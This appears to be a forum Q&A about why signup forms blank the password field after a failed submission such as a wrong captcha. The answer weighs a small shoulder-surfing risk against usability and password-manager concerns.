
Is there any security threat due to returning password on form submitting failure (for example on a signup page)? Let say that we have a registration page on a website, why shouldn't we return passwords like username, names or any other information on form submitting failure?

For example:

User goes to example.com/signup.php and enter his/her desired username, name, email and password. User must enter a captcha input too.
He/she enters everything right except captcha.
Website warns user that he/she entered captcha's value wrongly and refills username, name and email inputs automatically according to already submitted values but it leaves password's input blank!

At this step when they need to refill password, a valuable percentage of users (just like me, sometimes) will stop registration and leave the website.

What is the security benefit using this method?

Annoying, isn't it?  Security and usability are often at odds.

In this case, the risk is pretty small, but it's there.  Imagine the following:

You enter all your info, including password, and submit
You temporarily lose your wifi connection, or something happens on the 'net to cause the response to be incredibly slow
Losing patience, you walk away from the computer
A minute later, the page finally renders, including your password
A malicious user walks by, clicks Inspect Element, and learns the password

Of course, it's not a password that will work (your registration failed, after all), but maybe you use the same password for everything.  Who knows?  Anyway, the risk is pretty small here.

There is also a usability issue.  The password may have been overwritten by one of your password manager addons or iCloud keyring or something like that.  Since you can't see the password value, you can't be 100% sure that it is set to the intended value when you resubmit the form.  If it's wrong, you will end up encountering all kinds of grief and confusion.  So perhaps it is safer just to make you type it in again.

Personally, if I were designing the web site, I would put the password data entry fields on its own page, after you have successfully filled out all the other fields, including CAPTCHA.